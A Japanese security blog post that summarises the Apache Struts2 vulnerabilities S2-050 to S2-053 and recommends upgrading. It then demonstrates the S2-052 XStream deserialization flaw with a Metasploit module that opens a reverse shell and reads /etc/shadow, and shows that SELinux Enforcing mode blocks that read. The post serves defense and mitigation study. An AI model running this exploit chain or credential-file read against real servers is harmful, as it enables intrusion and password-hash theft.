現在位置: ホーム / セキュリティ ブログ / Struts2の脆弱性とPoC(S2-052: CVE-2017-9805, S2-053: CVE-2017-12611)

Struts2の脆弱性とPoC(S2-052: CVE-2017-9805, S2-053: CVE-2017-12611)

09/05/2017にApache Struts2に複数の脆弱性(S2-050, S2-051, S2-052)が報告されたことは既に様々なメディアで報告されていますので、皆様ご存知だと思います。また、続報として09/07/2017にも脆弱性の続報(S2-053)と修正版が更新されました。これらの脆弱性の中でも、特にS2-052はCriticalで実際にPoCも出回っており、任意のコマンドが実行されるため非常に危険です。今回はこれらの脆弱性の概要と、各ディストリビューションの対応、PoC情報について簡単にまとめてみます。

こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。

09/05/2017にApache Struts2に複数の脆弱性(S2-050, S2-051, S2-052)が報告されたことは既に様々なメディアで報告されていますので、皆様ご存知だと思います。また、続報として09/07/2017にも脆弱性の続報(S2-053)と修正版が更新されました。

これらの脆弱性の中でも、特にS2-052はCriticalで実際にPoCも出回っており、任意のコマンドが実行されるため非常に危険です。

今回はこれらの脆弱性の概要と、各ディストリビューションの対応、PoC情報について簡単にまとめてみます。




Priority

Critical

修正方法

Strutsを最新のものに更新して下さい。多くのディストリビューションはstrutsパッケージを用意していません。そのため、一般的な情報と照らし合わせて、導入したベンダー・担当などと適切に確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

  • S2-050 (CVE-2017-9804)
    • DoSの可能性

    • 重要度 - Low

    • 影響範囲 : Struts 2.3.7 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

    • 前回の修正(S2-047)が不完全でした。URLvalidatorを使用している時、正規表現に依るDoSが引き起こされる可能性が有ります。

  • S2-051 (CVE-2017-9793)
    • サーバでの任意のコード実行の可能性

    • 重要度 - Medium

    • 影響範囲 : Struts 2.3.7 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

    • RESTプラグインがXstreamHandlerをタイプフィルタリングしていないデシリアライズされたXStreamのインスタンスとして使用しており、リモートから任意のコードが実行される可能性があります。

  • S2-052 (CVE-2017-9805)
    • サーバでの任意のコード実行の可能性

    • 重要度 - Critical

    • 影響範囲 : Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

    • RESTプラグインが脆弱な古いXstreamライブラリを使用しており、特別に細工されたXMLペイロードで悪意のある要求を行うことで、DoS攻撃を仕掛けることが可能です。

  • S2-053 (CVE-2017-12611)
    • サーバでの任意のコード実行の可能性

    • 重要度 - Moderate

    • 影響範囲 : Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

    • Freemarkerタグの使い方で良くない構造を開発者が作成した場合、リモートから任意のコードが実行される可能性があります。


PoC(S2-052)とSELinuxによる緩和の確認

以下は、基本的にこちらにあるPoCの記事の日本語訳になります。

環境の準備

  1. S2-052に関しては、Metasploitを使用するPoC環境がHackers Gridで公開されていますので、Metasploitを動作させるOSとしてKali Linuxを用意し、手順に従って攻撃が可能なようにします。

  2. 今回攻撃対象にしたのは、以下のOSになります。

    HW: VMWare Guest (1CPU, 2GB Memory)
    OS: CentOS 7 (latest)
    Struts: 2.5.11
    
  3. SELinuxのアクセス制御が聞いてるかを確認したいので、「敢えて」/etc/shadowのパーミッションを"755"にします。

    root@centos7:~# ls -lZ /etc/shadow
    -rwxr-xr-x. root root system_u:object_r:shadow_t:s0        /etc/shadow
    

SELinuxによる緩和の確認

    Permissiveの場合

  1. まずはSELinuxをアクセス制御が効かないモード(Permissive)にし、リモートのMetasploit(Kali Linux上)から攻撃してみましょう。リモートからMetasploitを使って攻撃すると、下記のように攻撃が成功し、リモートからシェルを取得することが可能です。この際、"id"コマンドを実行すると、tomcatユーザ(tomcat_tドメイン)でシェルが動作していることがわかります。また、"cat /etc/shadow"コマンドを実行すると、/etc/shadowファイルの中身を見ることが出きることがわかります。

  2. msf exploit(struts2_rest_xstream) > exploit
    
     [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 
     [*] Accepted the first client connection...
     [*] Accepted the second client connection...
     [*] Command: echo DxP98C50UAVxX6jn;
     [*] Writing to socket A
     [*] Writing to socket B
     [*] Reading from sockets...
     [*] Reading from socket B
     [*] B: "DxP98C50UAVxX6jn\r\n"
     [*] Matching...
     [*] A is input...
     [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:42:12 +0900
    
     id
     uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0
    
     cat /etc/shadow
    
     root:XXXXXX.::0:99999:7:::
     bin:*:17110:0:99999:7:::
     daemon:*:17110:0:99999:7:::
     --snip--
     sshd:!!:17247::::::
     jssosug:XXXXXXXXXXXX::0:99999:7:::
    
     jsossug@vmhost:~$
    

    Enforcingの場合

  3. 次にSELinuxによるアクセス制御が有効なモード(Enforcing)にし、リモートのMetasploit(Kali Linux上)から攻撃してみましょう。リモートからMetasploitを使って攻撃すると、下記のように攻撃が成功し、リモートからシェルを取得することが可能です。この際、Permissiveのサイト同様に"cat /etc/shadow"コマンドを実行すると、SELinuxのポリシーにより、「Permission Denied」のエラーが出てきて/etc/shadowの内容は見られなくなっていることがわかります。

  4. msf exploit(struts2_rest_xstream) > exploit
    
     [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 
     [*] Accepted the first client connection...
     [*] Accepted the second client connection...
     [*] Command: echo DxP98C50UAVxX6jn;
     [*] Writing to socket A
     [*] Writing to socket B
     [*] Reading from sockets...
     [*] Reading from socket B
     [*] B: "DxP98C50UAVxX6jn\r\n"
     [*] Matching...
     [*] A is input...
     [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:49:01 +0900
    
     id 
     uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0
    
     cat /etc/shadow
     cat: /etc/shadow: Permission denied
    

結果

結果として、用意したStruts-2.5.11は脆弱性があり、リモートから脆弱性を攻撃するユーティリティを使うことで、簡単に任意のコマンドを実行できることがわかりました。この際に使用されるIDは"tomcat"になります。

また、SELinuxを有効にすることで、任意のコマンドが実行されたとしても、/etc/shadow等のアクセス権が与えられていないファイルやオブジェクトに対してアクセスすることが出来ないため、結果として被害を最小化できる(緩和:Mitigateできる)システムになっていることがわかりました。


主なディストリビューションの情報


対処方法

各情報を入手して検討し、適切にアップデートを行ってください。

[参考]

https://cwiki.apache.org/confluence/display/WW/S2-050

https://cwiki.apache.org/confluence/display/WW/S2-051

https://cwiki.apache.org/confluence/display/WW/S2-052

https://cwiki.apache.org/confluence/display/WW/S2-053

Apache Struts2 の脆弱性対策情報一覧 (IPA)

セキュリティ系連載案内

OSSセキュリティ技術の会による日経Linuxでの連載「IoT時代の最新SELinux入門」がITPro上で読めるようになりました。技術の会代表で第一人者である中村さん等による、最新のSELinuxの情報やコマンド類等も更新されているのでお薦めです。

OSSに関するお困りごとは サイオス OSSよろず相談室まで

サイオスOSSよろず相談室 では、OSSを利用する中で発生する問題に対し、長年培ってきた技術力・サポート力をもって企業のOSS活用を強力に支援します。Red Hat Enterprise Linux のほか、CentOS をご利用されている環境でのサポートも提供いたします。

タグ:
OSSよろず相談室

サイオスOSSよろず相談室(2)

問い合わせボタン

最新の記事
Sambaに複数の脆弱性(CVE-2017-12150, CVE-2017-12151, CVE-2017-12163) 2017年09月20日
Tomcat 7.xの複数の脆弱性 ( CVE-2017-12615 (Windows), CVE-2017-12616 ) 2017年09月20日
emacsの脆弱性(CVE-2017-14482) 2017年09月19日
Apacheの脆弱性(Optionsbleed : CVE-2017-9798) 2017年09月19日
rubyの複数の脆弱性(CVE-2017-0898, CVE-2017-10784, CVE-2017-14033) 2017年09月18日
Linux Kernelの複数の脆弱性(CVE-2017-14340, CVE-2017-14489) 2017年09月18日
Xen の複数の脆弱性(XSA-231: CVE-2017-14316 / XSA-232: CVE-2017-14318 / XSA-233: CVE-2017-14317 / XSA-234: CVE-2017-14319 ) 2017年09月18日
Struts2の脆弱性とPoC(S2-052: CVE-2017-9805, S2-053: CVE-2017-12611) 2017年09月13日
fileコマンドの脆弱性(CVE-2017-1000249) 2017年09月13日
Linux Kernelの脆弱性(Blueborne: CVE-2017-1000251) 2017年09月13日
Linux Kernelの脆弱性(CVE-2017-12146) 2017年09月11日
Linux Kernelの脆弱性(CVE-2017-14106) 2017年09月04日
Linux Kernelに複数の脆弱性(CVE-2017-1000111, CVE-2017-1000112) 2017年09月01日
Linux Kernelの脆弱性(CVE-2017-13693, CVE-2017-13694, CVE-2017-13695) 2017年08月27日
PHPに複数の脆弱性(CVE-2017-12932, CVE-2017-12933, CVE-2017-12934 ) 2017年08月19日
Xenの脆弱性 ( XSA-226, XSA-227, XSA-228, XSA-229, XSA-230 ) 2017年08月16日
CVSの脆弱性 ( CVE-2017-12836 ) 2017年08月14日
Gitの脆弱性 ( CVE-2017-1000117 ) 2017年08月13日
Tomcatの複数の脆弱性 ( CVE-2017-7674, CVE-2017-7675 ) 2017年08月11日
PostgreSQLに複数の脆弱性(2017-08-10 Security Update Release : CVE-2017-7546, CVE-2017-7547, CVE-2014-7548) 2017年08月11日
最新の記事 - もっと...